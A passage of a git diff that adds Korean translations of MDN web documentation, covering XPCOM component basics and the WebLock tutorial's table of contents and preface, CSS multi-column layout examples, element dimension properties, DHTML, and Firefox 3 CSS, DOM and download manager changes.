However, these shortcomings pale in comparison to the functionality gained by using XPIDL. XPIDL allows you to generatetype libraries , or typelibs, which are files with the extension.xpt . The type library is a binary representation of an interface or interfaces. It provides programmatic control and access of the interface, which is crucial for interfaces used in the non C++ world. When components are accessed from other languages, as they can be in XPCOM, they use the binary type library to access the interface, learn what methods it supports, and call those methods. This aspect of XPCOM is calledXPConnect . XPConnect is the layer of XPCOM that provides access to XPCOM components from languages such as JavaScript. See Connecting to Components from the Interface for more information about XPConnect.

+ +

When a component is accessible from a language other than C++, such as JavaScript, its interface is said to be "reflected" into that language. Every reflected interface must have a corresponding type library. Currently you can write components in C, C++, or JavaScript (and sometimes Python or Java, depending on the state of the respective bindings), and there are efforts underway to build XPCOM bindings for Ruby and Perl as well.

+ +
+

Writing Components in Other Languages

+ +

Though you do not have access to some of the tools that XPCOM provides for C++ developers (such as macros, templates, smart pointers, and others) when you create components in other languages, you may be so comfortable with the language itself that you can eschew C++ altogether and build, for example, Python-based XPCOM components that can be used from JavaScript or vice versa.

+ +

See Resources for more information about Python and other languages for which support has been added in XPCOM.

+
+ +

All of the public interfaces in XPCOM are defined using the XPIDL syntax. Type libraries and C++ header files are generated from these IDL files, and the tool that generates these files is called thexpidl compiler . The section Defining the WebLock Interface in XPIDL describes the XPIDL syntax in detail.

+ +

XPCOM Services

+ +

When clients use components, they typicallyinstantiate a new object each time they need the functionality the component provides. This is the case when, for example, clients deal with files: each separate file is represented by a different object, and several file objects may be being used at any one time.

+ +

But there is also a kind of object known as aservice , of which there is always only one copy (though there may be many services running at any one time). Each time a client wants to access the functionality provided by a service, they talk to the same instance of that service. When a user looks up a phone number in a company database, for example, probably that database is being represented by an "object" that is the same for all co-workers. If it weren't, the application would need to keep two copies of a large database in memory, for one thing, and there might also be inconsistencies between records as the copies diverged.

+ +

Providing this single point of access to functionality is what the singleton design pattern is for, and what services do in an application (and in a development environment like XPCOM).

+ +

In XPCOM, in addition to the component support and management, there are a number of services that help the developer write cross platform components. These services include a cross platform file abstraction which provides uniform and powerful access to files, directory services which maintain the location of application- and system-specific locations, memory management to ensure everyone uses the same memory allocator, and an event notification system that allows passing of simple messages. The tutorial will show each of these component and services in use, and the XPCOM API Reference has a complete interface listing of these areas.

+ +

XPCOM Types

+ +

There are many XPCOM declared types and simple macros that we will use in the following samples. Most of these types are simple mappings. The most common types are described in the following sections.

+ +

Method Types

+ +

The following are a set of types for ensuring correct calling convention and return type of XPCOM methods.

+ + + + + + + + + + + + + + + + + + + + + + + + +
NS_IMETHODMethod declaration return type. XPCOM method declarations should use this as their return type.
NS_IMETHODIMPMethod Implementation return type. XPCOM method implementations should use this as their return time.
NS_IMETHODIMP_(type)Special case implementation return type. Some methods such as AddRef and Release do not return the default return type. This exception is regrettable, but required for COM compliance.
NS_IMPORTForces the method to be resolved internally by the shared library.
NS_EXPORTForces the method to be exported by the shared library.
+ +

Reference Counting

+ +

These macros manage reference counting.

+ + + + + + + + + + + + + + + + + + + + +
NS_ADDREFCalls AddRef on an nsISupports object.
NS_IF_ADDREFSame as above but checks for null before calling AddRef.
NS_RELEASECalls Release on an nsISupports object.
NS_IF_RELEASESame as above but check for null before calling Release.
+ +

Status Codes

+ +

These macros test status codes.

+ + + + + + + + + + + + +
NS_FAILEDReturn true if the passed status code was a failure.
NS_SUCCEEDEDReturns true is the passed status code was a success.
+ +

Variable Mappings

+ + + + + + + + + + + + + + + + +
nsrefcntDefault reference count type. Maps to a 32-bit integer.
nsresultDefault error type. Maps to a 32-bit integer.
nsnullDefault null value.
+ +

Common XPCOM Error Codes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NS_ERROR_NOT_INITIALIZEDReturned when an instance is not initialized.
NS_ERROR_ALREADY_INITIALIZEDReturned when an instance is already initialized.
NS_ERROR_NOT_IMPLEMENTEDReturned by an unimplemented method.
NS_ERROR_NO_INTERFACEReturned when a given interface is not supported.
NS_ERROR_NULL_POINTERReturned when a valid pointer is found to be nsnull.
NS_ERROR_FAILUREReturned when a method fails. Generic error case.
NS_ERROR_UNEXPECTEDReturned when an unexpected error occurs.
NS_ERROR_OUT_OF_MEMORYReturned when a memory allocation fails.
NS_ERROR_FACTORY_NOT_REGISTEREDReturned when a requested class is not registered.
+ +

+

« 이전다음 »

+

+

Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.

+

diff --git a/files/ko/creating_xpcom_components/index.html b/files/ko/creating_xpcom_components/index.html new file mode 100644 index 0000000000..3af1db1e92 --- /dev/null +++ b/files/ko/creating_xpcom_components/index.html @@ -0,0 +1,355 @@ +--- +title: Creating XPCOM Components +slug: Creating_XPCOM_Components +translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components +--- +

Preface

+
+
+ Who Should Read This Book 이 문서가 필요한 사람
+
+ Organization of the Tutorial 튜토리얼 구조
+
+ Following Along with the Examples 예제 따라하기
+
+ Conventions
+
+ Acknowledgements
+
+

An Overview of XPCOM

+
+
+ The XPCOM Solution
+
+ Gecko
+
+ Components
+
+ Interfaces +
+
+ Interfaces and Encapsulation
+
+ The nsISupports Base Interface
+
+
+
+ XPCOM Identifiers +
+
+ CID
+
+ Contract ID
+
+
+
+ Factories +
+
+ XPIDL and Type Libraries
+
+
+
+ XPCOM Services
+
+ XPCOM Types +
+
+ Method Types
+
+ Reference Counting
+
+ Status Codes
+
+ Variable Mappings
+
+ Common XPCOM Error Codes
+
+
+
+

Using XPCOM Components

+
+
+ Component Examples +
+
+ Cookie Manager
+
+ The WebBrowserFind Component
+
+ The WebLock Component
+
+
+
+ Component Use in Mozilla +
+
+ Finding Mozilla Components
+
+ Using XPCOM Components in Your Cpp
+
+ XPConnect: Using XPCOM Components From Script
+
+
+
+

Component Internals

+
+
+ Creating Components in Cpp
+
+ XPCOM Initialization +
+
+ XPCOM Registry Manifests
+
+ Registration Methods in XPCOM
+
+ Autoregistration
+
+ The Shutdown Process
+
+ Three Parts of a XPCOM Component Library
+
+
+
+ XPCOM Glue +
+
+ The Glue Library
+
+ XPCOM String Classes
+
+
+
+

Creating the Component Code

+
+
+ What We'll Be Working On
+
+ Component Registration +
+
+ The regxpcom Program
+
+ Registration Alternatives
+
+
+
+ Overview of the WebLock Module Source
+
+ Digging In: Required Includes and Constants +
+
+ Identifiers in XPCOM
+
+ Coding for the Registration Process
+
+ The Registration Methods
+
+ Creating an Instance of Your Component
+
+
+
+ webLock1.cpp
+
+

Using XPCOM Utilities to Make Things Easier

+
+
+ XPCOM Macros +
+
+ Generic XPCOM Module Macros
+
+ Common Implementation Macros
+
+ Declaration Macros
+
+
+
+ webLock2.cpp
+
+ String Classes in XPCOM +
+
+ Using Strings
+
+ nsEmbedString and nsEmbedCString
+
+
+
+ Smart Pointers
+
+

Starting WebLock

+
+
+ Getting Called at Startup +
+
+ Registering for Notifications
+
+ Getting Access to the Category Manager
+
+
+
+ Providing Access to WebLock
+
+ Creating the WebLock Programming Interface
+
+ Defining the WebLock Interface in XPIDL +
+
+ The XPIDL Syntax
+
+ Scriptable Interfaces
+
+ Subclassing nsISupports
+
+ The Web Locking Interface
+
+
+
+ Implementing WebLock +
+
+ Declaration Macros
+
+ Representing Return Values in XPCOM
+
+ XPIDL Code Generation
+
+ Getting the WebLock Service from a Client
+
+ Implementing the iWebLock Interface
+
+ The Directory Service
+
+ Modifying Paths with nsIFile
+
+ Manipulating Files with nsIFile
+
+ Using nsILocalFile for Reading Data
+
+ Processing the White List Data
+
+
+
+ iWebLock Method By Method +
+
+ Lock and Unlock
+
+ AddSite
+
+ RemoveSite
+
+ SetSites
+
+ GetNext
+
+ GetSites
+
+ HasMoreElements
+
+
+
+

Finishing the Component

+
+
+ Using Frozen Interfaces +
+
+ Copying Interfaces Into Your Build Environment
+
+ Implementing the nsIContentPolicy Interface
+
+ Receiving Notifications
+
+
+
+ Implementing the nsIContentPolicy +
+
+ Uniform Resource Locators
+
+ Checking the White List
+
+ Creating nsIURI Objects
+
+
+
+

Building the WebLock UI

+
+
+ User Interface Package List
+
+ Client Code Overview
+
+ XUL +
+
+ The XUL Document
+
+ The Locking UI
+
+ Site Adding UI
+
+ weblock.xul
+
+
+
+ Overlaying New User Interface Into Mozilla +
+
+ webLockOverlay.xul
+
+
+
+ Other Resources +
+
+ weblock.css
+
+ Image Resources
+
+
+
+

Packaging WebLock

+
+
+ Component Installation Overview
+
+ Archiving Resources
+
+ The WebLock Installation Script
+
+ The WebLock Trigger Script
+
+ Distributing Your Component
+
+

Appendix A - Setting up the Gecko SDK

+
+
+ Downloading and Setting the SDK
+
+ Building a Microsoft Visual Cpp Project +
+
+ Creating a New Project
+
+ Adding the Gecko SDK to the Project Settings
+
+
+
+ A Makefile for Unix
+
+

Appendix B - Resources

+
+
+ WebLock Resources
+
+ Gecko Resources
+
+ XPCOM Resources
+
+ General Development Resources
+
diff --git a/files/ko/creating_xpcom_components/preface/index.html b/files/ko/creating_xpcom_components/preface/index.html new file mode 100644 index 0000000000..fa6c630b61 --- /dev/null +++ b/files/ko/creating_xpcom_components/preface/index.html @@ -0,0 +1,78 @@ +--- +title: Preface +slug: Creating_XPCOM_Components/Preface +tags: + - XPCOM +translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components/Preface +--- +

이 문서는 Gecko 엔진과 이를 기반으로 하는 어플리케이션들을 위한 XPCOM 컴포넌트에 대한 설명을 담고 있습니다. 여기서 강조하고 있는 것은 Gecko 에서 사용 가능한 컴포넌트에 당신의 C++ 코드를 삽입하는

+ +

Though the emphasis is on the practical steps you take to make your C++ code into a component that can be used in Gecko, we hope that these steps will also give us an occasion to discuss all of the tools, techniques, and technologies that make up XPCOM. Accordingly, the book is arranged so that you can follow along and create your own components or learn about different XPCOM topics individually, as in a reference work. For example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with Mozilla - prompts a discussion of the relationship between components and modules, of XPCOM interfaces, and of the registration process in general.

+ +

The top of each chapter provides a list of the major topics covered. Sidebar sections are included to highlight technical details. By the end of the book, if we've done our job, you will have learned how to build a component and you will know something about the framework for these components in Gecko, which is XPCOM.

+ +

Who Should Read This Book

+ +

Creating XPCOM Components is meant for C++ developers. Though you can create XPCOM components in JavaScript and other languages, and though you might be able to follow along as a C programmer, the component implementation code is written in C++, and much of the discussion of how to make your codeinto an XPCOM component starts from C++. You don't need to be a C++ expert, however. Although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. Also many of the examples are in JavaScript, which is used in Mozilla to access XPCOM components as scriptable objects, and so familiarity with that language is useful as well.

+ +

XPCOM stands for the Cross Platform Component Object Model. As this name implies, XPCOM is similar to Microsoft COM. If you have any experience with this technology, much of it can be applied to XPCOM. However, this book does not assume any prior knowledge of COM - all of the basic COM ideas will be introduced.

+ +

This book provides a tutorial about building an XPCOM component that controls browsing behavior. Although, XPCOM can be used in many environments which are unrelated to web browsing, XPCOM's main client is Gecko, an open source, standards compliant, embeddable web browser, where it's easiest and most practical to illustrate XPCOM's functionality. A full description of the component in this tutorial can be found in the What We'll Be Working On section of the tutorial.

+ +

Organization of the Tutorial

+ +

The following list provides an overview of the steps that we will take to build an XPCOM component called WebLock, which provides site blocking functionality to Gecko-based browsers. Each one of these steps has its own chapter, in which a number of topics associated with the step are discussed.

+ + + +

Following Along with the Examples

+ +

There are a couple of different ways to get XPCOM onto your machine so you can begin to create components. If you already have a Mozilla build or the source from Mozilla 1.2 or later, then you can use the XPCOM framework available there. If you don't already have the Mozilla source, then an even easier way to get and use XPCOM is to download the Gecko SDK, which is a collection of libraries and tools that features the XPCOM component framework.

+ +

Whether you compile your code in the Mozilla source tree or use the Gecko SDK, you can build your own components which leverage components that already exist in Gecko. The WebLock component we describe in this tutorial is a practical (and, we hope, genuinely useful) addition to the browser. In order to build it, your Gecko SDK or Mozilla source tree needs to be version 1.2 or later (XPCOM interfaces were not fully frozen in prior releases).

+ +

This book assumes you are using the SDK rather than compiling in a Mozilla source tree, though the difference between these two approaches is minimal. Details about downloading the SDK, building, and getting programmatic access to Gecko components are provided in the appendix to this book, Setting up the Gecko SDK.

+ +

Conventions

+ +

The formatting conventions listed below are used to designate specific types of information in the book and make things easier to scan. The goal is to use as few formats as possible, but to distinguish the various different types of information clearly.

+ + + + + + + + + + + + + + + + + + + + + + + + +
FormatDescription
boldcomponent names appear in bold in the text
monospacecode listings, interface names and members of interfaces (e.g., createInstance()) appear in monospaced font. Lines of code are placed in separate boxes. Additionally, filenames and directories appear in monospaced font.
italicvariablesappear in italic. Important terms and new concepts are also italicized the first time they appear in the text. Those terms are either explained immediately after they are cited, or else the reader is referred to a section in the book where they are described in detail.
linkReferences to other sections and to figures and tables are links to those sections.
+ +

Acknowledgements

+ +

Thanks to Peter Lubczynski, John Gaunt, Ellen Evans, and Alec Flett for technical reviews. A special thanks goes to Darin Fisher for his very acute observations, close reading, and attention to detail.

+ +

+

Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.

+

diff --git a/files/ko/css3_columns/index.html b/files/ko/css3_columns/index.html new file mode 100644 index 0000000000..47d363969c --- /dev/null +++ b/files/ko/css3_columns/index.html @@ -0,0 +1,204 @@ +--- +title: CSS 다단 레이아웃 사용 +slug: CSS3_Columns +tags: + - Advanced + - CSS + - Guide + - Multi-columns +translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +--- +

{{CSSRef("CSS Multi-columns")}}

+ +

CSS 다단(multi-column) 레이아웃은 다단 텍스트 정의가 쉽도록 블록 레이아웃 모드를 확장합니다. 사람들은 줄이 너무 긴 경우 텍스트 읽는데 어려움이 있습니다; 한 줄 끝에서 다음 줄 시작까지 눈에 옮기기 너무 긴 경우, 어느 줄을 읽고 있었는 지를 잊어버립니다. 그러므로, 큰 화면을 최대로 쓰기 위해서는, 너비가 제한된 텍스트 단을 나란히 놓아야 합니다, 바로 신문이 하는 것처럼.

+ +

불행하게도 이는 CSS 및 HTML로 하기는 고정 위치에서 강제 단 바꿈 또는 텍스트에 허용되는 마크업의 심한 제한 혹은 위대한(heroic) 스크립팅 사용 없이는 불가능합니다. 이 제한은 전통 블록 레이아웃 모드를 확장하는 새로운 CSS 속성 추가로 해결됐습니다.

+ +

단 사용

+ +

단 수와 너비

+ +

두 CSS 속성은 많은 단을 보일 지 여부와 방법을 제어합니다: {{ Cssxref("column-count") }} 및 {{ Cssxref("column-width") }}.

+ +

column-count 속성은 단 수를 특정한 수로 설정합니다. 가령,

+ +

예 1

+ +

HTML

+ +
+
<div id="col">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</div>
+
+ +

CSS

+ +
#col {
+-moz-column-count: 2;
+-webkit-column-count: 2;
+column-count: 2;
+}
+
+
+ +

결과

+ +

두 단에 콘텐츠를 표시합니다 (다단 준수 브라우저를 사용 중인 경우):

+ +

{{EmbedLiveSample('column_count','700px', '', '')}}

+ +

column-width 속성은 희망 최소 단 너비를 설정합니다. column-count도 설정되지 않은 경우, 그러면 브라우저는 자동으로 이용 가능한 너비에 맞게 많은 단을 만듭니다.

+ +

예 2

+ +

HTML

+ +
+
<div id="wid">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</div>
+
+ +

CSS

+ +
#wid {
+-moz-column-width: 100px;
+-webkit-column-width: 100px;
+column-width: 100px;
+}
+
+
+ +

결과

+ +

{{ EmbedLiveSample('column_width','700px', '', '') }}

+ +

정확한 세부사항은 CSS3 스펙에 설명되어 있습니다.

+ +

다단 블록에서, 콘텐츠는 필요에 따라 한 단에서 다음 단으로 자동으로 흐릅니다. 모든 HTML, CSS 및 DOM 기능은 단 내에서 지원됩니다, 편집 및 인쇄 중일 때.

+ +

columns 단축

+ +

대부분, 웹 디자이너는 두 CSS 속성({{ cssxref("column-count") }} 또는 {{ cssxref("column-width") }}) 중 하나를 사용합니다. 이러한 속성에 대한 값이 겹치지 않기에, 종종 {{ cssxref("columns") }} 단축을 쓰는 게 편리합니다. 가령.

+ +

column-width:12em CSS 선언은 다음으로 대체될 수 있습니다:

+ +

예 3

+ +

HTML

+ +
+
<div id="col_short">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</div>
+
+ +

CSS

+ +
#col_short {
+-moz-column-width: 12em;
+-moz-columns: 12em;
+-webkit-columns: 12em;
+columns: 12em;
+}
+
+
+ +

결과

+ +

{{EmbedLiveSample('column_short','700px', '', '')}}

+ +

column-count:4 CSS 선언은 다음으로 대체될 수 있습니다:

+ +

예 4

+ +

HTML

+ +
+
<div id="columns_4">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</div>
+
+ +

CSS

+ +
#columns_4{
+-moz-column-count: 4;
+-moz-columns: 4;
+-webkit-columns: 4;
+columns: 4;
+}
+
+
+ +

결과

+ +

{{ EmbedLiveSample('four_columns','700px', '', '') }}

+ +

column-width:8emcolumn-count:12 두 CSS 선언은 다음으로 대체될 수 있습니다:

+ +

예 5

+ +

HTML

+ +
+
<div id="columns_12">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</div>
+
+ +

CSS

+ +
#columns_12 {
+-moz-columns: 12 8em;
+-webkit-columns: 12 8em;
+columns: 12 8em;
+}
+
+
+ +

결과

+ +

{{ EmbedLiveSample('twelve_columns','700px', '', '') }}

+ +

높이 균형

+ +

CSS3 Column 스펙은 단 높이는 균형을 이루어야 함을 요구합니다: 즉, 브라우저는 각 단의 콘텐츠 높이가 거의 같도록 자동으로 최대 단 높이를 설정합니다. Firefox는 이를 행합니다.

+ +

그러나, 일부 상황에서는 최대 단 높이를 명시해서 설정하는 것도 유용하고 그 다음 첫 단에서 시작하여 필요한 만큼 많은 단을 생성하며, 어쩌면 오른쪽으로 넘치는 콘텐츠를 배치합니다. 따라서, 높이가 제한되는 경우, 다단 블록에 CSS {{ cssxref("height") }} 또는 {{ cssxref("max-height") }} 속성을 설정하여, 각 단은 그 높이 및 더 이상 새로운 단을 추가하기 전까지 늘 수 있습니다. 이 모드 역시 레이아웃에 대해서 훨씬 더 효율이 좋습니다.

+ +

단 간격

+ +

단 사이 간격이 있습니다. 기본 권장값은 1em입니다. 이 크기는 {{ Cssxref("column-gap") }} 속성을 다단 블록에 적용하여 바꿀 수 있습니다:

+ +

예 6

+ +

HTML

+ +
+
<div id="column_gap">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</div>
+
+ +

CSS

+ +
#column_gap {
+-webkit-column-count: 5;
+-moz-column-count: 5;
+column-count: 5;
+-moz-column-gap: 2em;
+-webkit-column-gap: 2em;
+column-gap: 2em;
+}
+
+
+ +

결과

+ +

{{ EmbedLiveSample('col_gap','700px', '', '') }}

+ +

우아한 강등

+ +

단 속성은 단을 지원하지 않는 브라우저에 의해 그냥 무시됩니다. 따라서 비지원 브라우저에서는 1단으로 표시하고 지원하는 브라우저에서는 다단을 사용하는 레이아웃을 만드는 게 그런 대로 쉽습니다.

+ +

모든 브라우저가 이러한 접두어 없는 속성을 지원하는 것은 아님을 주의하세요. 오늘날 대부분의 브라우저에서 이 기능을 사용하기 위해서, 각 속성은 세 번({{ property_prefix("-moz") }} 접두어로 한 번, {{ property_prefix("-webkit") }} 접두어로 한 번 그리고 접두어 없이 한 번) 작성되어야 합니다.

+ +

결론

+ +

CSS3 단(column)은 웹 개발자가 화면 영역(real estate)을 최대한 쓸 수 있게 돕는 원시(primitive) 레이아웃입니다. 상상력이 풍부한 개발자는 많은 단 사용법을 찾을 지도 모릅니다, 특히 자동 높이 균형 기능 가지고.

+ +

참조

+ + diff --git a/files/ko/css_improvements_in_firefox_3/index.html b/files/ko/css_improvements_in_firefox_3/index.html new file mode 100644 index 0000000000..30c7400ae4 --- /dev/null +++ b/files/ko/css_improvements_in_firefox_3/index.html @@ -0,0 +1,35 @@ +--- +title: CSS improvements in Firefox 3 +slug: CSS_improvements_in_Firefox_3 +tags: + - CSS + - Firefox 3 +translation_of: Mozilla/Firefox/releases/3/CSS_improvements +--- +

{{ Fx_minversion_header(3) }}

+

Firefox 3에서는 CSS 구현에 있어 수 많은 향상을 제공합니다. 이러한 변화들의 상세 내용은 해당 문서에 문서화되어 있으므로, 여기서는 이러한 내용들에 대해 개략적으로 언급하고 어떤 변화가 있는지 개발자들이 쉽게 배울 수 있도록 하겠습니다.

+ +

참고

+ diff --git a/files/ko/determining_the_dimensions_of_elements/index.html b/files/ko/determining_the_dimensions_of_elements/index.html new file mode 100644 index 0000000000..c9bb8b32ba --- /dev/null +++ b/files/ko/determining_the_dimensions_of_elements/index.html @@ -0,0 +1,28 @@ +--- +title: Determining the dimensions of elements +slug: Determining_the_dimensions_of_elements +translation_of: Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements +--- +

엘리먼트의 너비와 높이를 알기 위해 살펴볼 수 있는 여러 속성이 있습니다. 또한, 요구하는 사항에 딱 맞는 것을 고르기 다소 까다로울 수도 있습니다. 이 글은 여러분이 필요에 맞는 속성을 고르는데 도움을 주기 위해 작성했습니다.

+ +

공간을 얼마나 차지하나요?

+ +

표시된 컨텐트의 너비, 스크롤바, 패딩까지 포함해서 엘리먼트가 차지하는 전체 공간을 알고 싶다면, offsetWidthoffsetHeight 속성을 사용하세요:

+ +

Image:Dimensions-offset.png

+ +

보이는 컨텐트의 크기는요?

+ +

패딩은 포함하되 경계선, 여백, 스크롤바는 포함시키지 않고 보이는 컨텐트가 실제로 차지하는 공간이 알고 싶다면, clientWidthclientHeight 속성을 사용하세요:

+ +

Image:Dimensions-client.png

+ +

컨텐트는 얼마나 크나요?

+ +

컨텐트의 실제 크기를 알고 싶다면(보여지는 부분만이 아닌 전체 컨텐트 크기), scrollWidthscrollHeight 속성을 사용하세요. 이 속성들은 엘리먼트 컨텐트의 전체 크기에 해당하는 너비와 높이를 반환합니다. 보여지는 영역이 작아서 스크롤바를 사용하고 있다해도 관계없습니다.

+ +

예를 들어, 600x400 픽셀 크기의 엘리먼트가 300x300 픽셀의 스크롤박스에서 보여진다면 scrollWidth는 600을, scrollHeight는 400을 각각 반환합니다.

+ +

참고자료

+ +

MSDN: Measuring Element Dimension and Location

diff --git a/files/ko/dhtml/index.html b/files/ko/dhtml/index.html new file mode 100644 index 0000000000..1eada4d952 --- /dev/null +++ b/files/ko/dhtml/index.html @@ -0,0 +1,42 @@ +--- +title: DHTML +slug: DHTML +tags: + - DHTML +translation_of: Glossary/DHTML +--- +
DHTML은 "dynamic HTML"을 줄인 것이다. DHTML은 일반적으로 Flash나Java 플러그인을 사용하여 다루어지지 않는 역동적 웹페이지 뒤의 코드를 참조하는데 사용된다. 복합 기능성을 모은 용어는 웹 개발자가 HTML, CSS, Document Object Model, 그리고 JavaScript를 사용하는 것을 가능하게 한다.
+ + + + +
+

Documentation

+
DOM Client Object Cross-Reference +
이 client object reference는 DHTML에 사용하는 공통된 대상에 대한 정보를 제공한며, 각 브라우저 안에서 어떤 특성이 제공 되는지 당신이 결정하는 것을 돕기로 계획되었다 . +
+
DHTML Demonstrations Using DOM/Style +
Document Object Model (DOM) 데모, Cross-browser 위젯, DOM에 관해 배우기 위한 추가적 자원. +
+
Working around the Firefox 1.0.3 DHTML regression +
주의. 이 글이 다루고 있는 이 주제는 Firefox 1.0.4 release에서 고쳐졌고, 이 문서는 1.0.3 version의 브라우저에에 적용됨. +
+

View All... +

+
+

커뮤니티

+
  • Mozilla 포럼 보기... +
+

{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }} +

+

도구

+ +

관련 주제

+
AJAX, CSS, DOM, HTML, JavaScript +
+
+

Categories +

Interwiki Language Links +


+

{{ languages( { "en": "en/DHTML", "pt": "pt/DHTML", "pl": "pl/DHTML" } ) }} diff --git a/files/ko/dom_improvements_in_firefox_3/index.html b/files/ko/dom_improvements_in_firefox_3/index.html new file mode 100644 index 0000000000..800e5979df --- /dev/null +++ b/files/ko/dom_improvements_in_firefox_3/index.html @@ -0,0 +1,30 @@ +--- +title: DOM improvements in Firefox 3 +slug: DOM_improvements_in_Firefox_3 +tags: + - DOM + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/DOM_improvements +--- +

{{ Fx_minversion_header(3) }}

+

Firefox 3에서는 Document Object Model (DOM)에 있어 다양한 개선이 있었으며, 특히 다른 브라우저들에서 제공되는 DOM의 확장을 지원한다는 면에서 특히 그러합니다. 본 글은 이러한 개선 사항들과 세부 문서에 대한 링크들로 구성되어 있습니다.

+ +

참고

+ +
+  
+

{{ languages( { "en": "en/DOM_improvements_in_Firefox_3", "es": "es/Mejoras_DOM_en_Firefox_3", "fr": "fr/Am\u00e9liorations_DOM_dans_Firefox_3", "ja": "ja/DOM_improvements_in_Firefox_3", "pl": "pl/Poprawki_DOM_w_Firefoksie_3" } ) }}

diff --git a/files/ko/download_manager_improvements_in_firefox_3/index.html b/files/ko/download_manager_improvements_in_firefox_3/index.html new file mode 100644 index 0000000000..c7929798bf --- /dev/null +++ b/files/ko/download_manager_improvements_in_firefox_3/index.html @@ -0,0 +1,39 @@ +--- +title: Download Manager improvements in Firefox 3 +slug: Download_Manager_improvements_in_Firefox_3 +tags: + - Download Manager + - Firefox 3 +translation_of: Archive/Mozilla/Download_Manager_improvements_in_Firefox_3 +--- +

{{ Fx_minversion_header(3) }} Firefox 3는 다운로드 관리자에 대한 개선을 제공하는데 이는 다중 진행 리스너, 데이터 관리를 위한 Storage API의 사용, 다운로드 재시작 등을 가능하게 합니다. 덧붙여, 새로운 {{ Interface("nsIDownloadManagerUI") }} 인터페이스를 구현하는 것으로 다운로드 관리자의 인터페이스를 바꿀 수 있습니다.

+

{{ Note("이러한 변경 사항은 다운로드 관리자를 사용하는 코드의 적당한 수정을 요구합니다. 몇 가지 메소드에 작은 변경이 있었기 때문입니다.") }}

+

Download Manager interfaces

+
+
+ {{ Interface("nsIDownloadManager") }}
+
+ 애플리케이션과 확장이 다운로드 관리자를 접근할 수 있도록 하여 다운로드 목록에 파일을 추가하거나 삭제하고, 과거 및 현재의 다운로드에 대한 정보를 구하고, 다운로드 진행에 대한 알림을 요청할 수 있도록 합니다.
+
+ {{ Interface("nsIDownload") }}
+
+ 다운로드 대기열에 있는 파일을 설명합니다. 파일은 다운로드를 위하여 대기열에 있거나 다운로드 중이거나 다운로드를 마쳤을 수 있습니다.
+
+ {{ Interface("nsIDownloadProgressListener") }}
+
+ 애플리케이션과 확장이 이 이 인터페이스를 구현하면 다운로드 상태의 변경을 감지할 수 있습니다.
+
+ {{ Interface("nsIDownloadManagerUI") }}
+
+ 이 인터페이스를 구현하면 다운로드 관리자의 사용자 인터페이스를 대체할 수 있습니다.
+
+

예제

+
+
+ 내려받기 감시
+
+ 과거 및 현재의 모든 다운로드와 다운로드 시작 및 끝 시간, 다운로드 속도 등을 포함한 다운로드 상태를 보여주는 다운로드 로그 윈도우를 생성하기 위하여 새로운 다운로드 관리자 API를 사용하는 방법을 보여주는 예제입니다. Storage API의 사용도 보여주고 있습니다.
+
+
+  
+

{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3" } ) }}

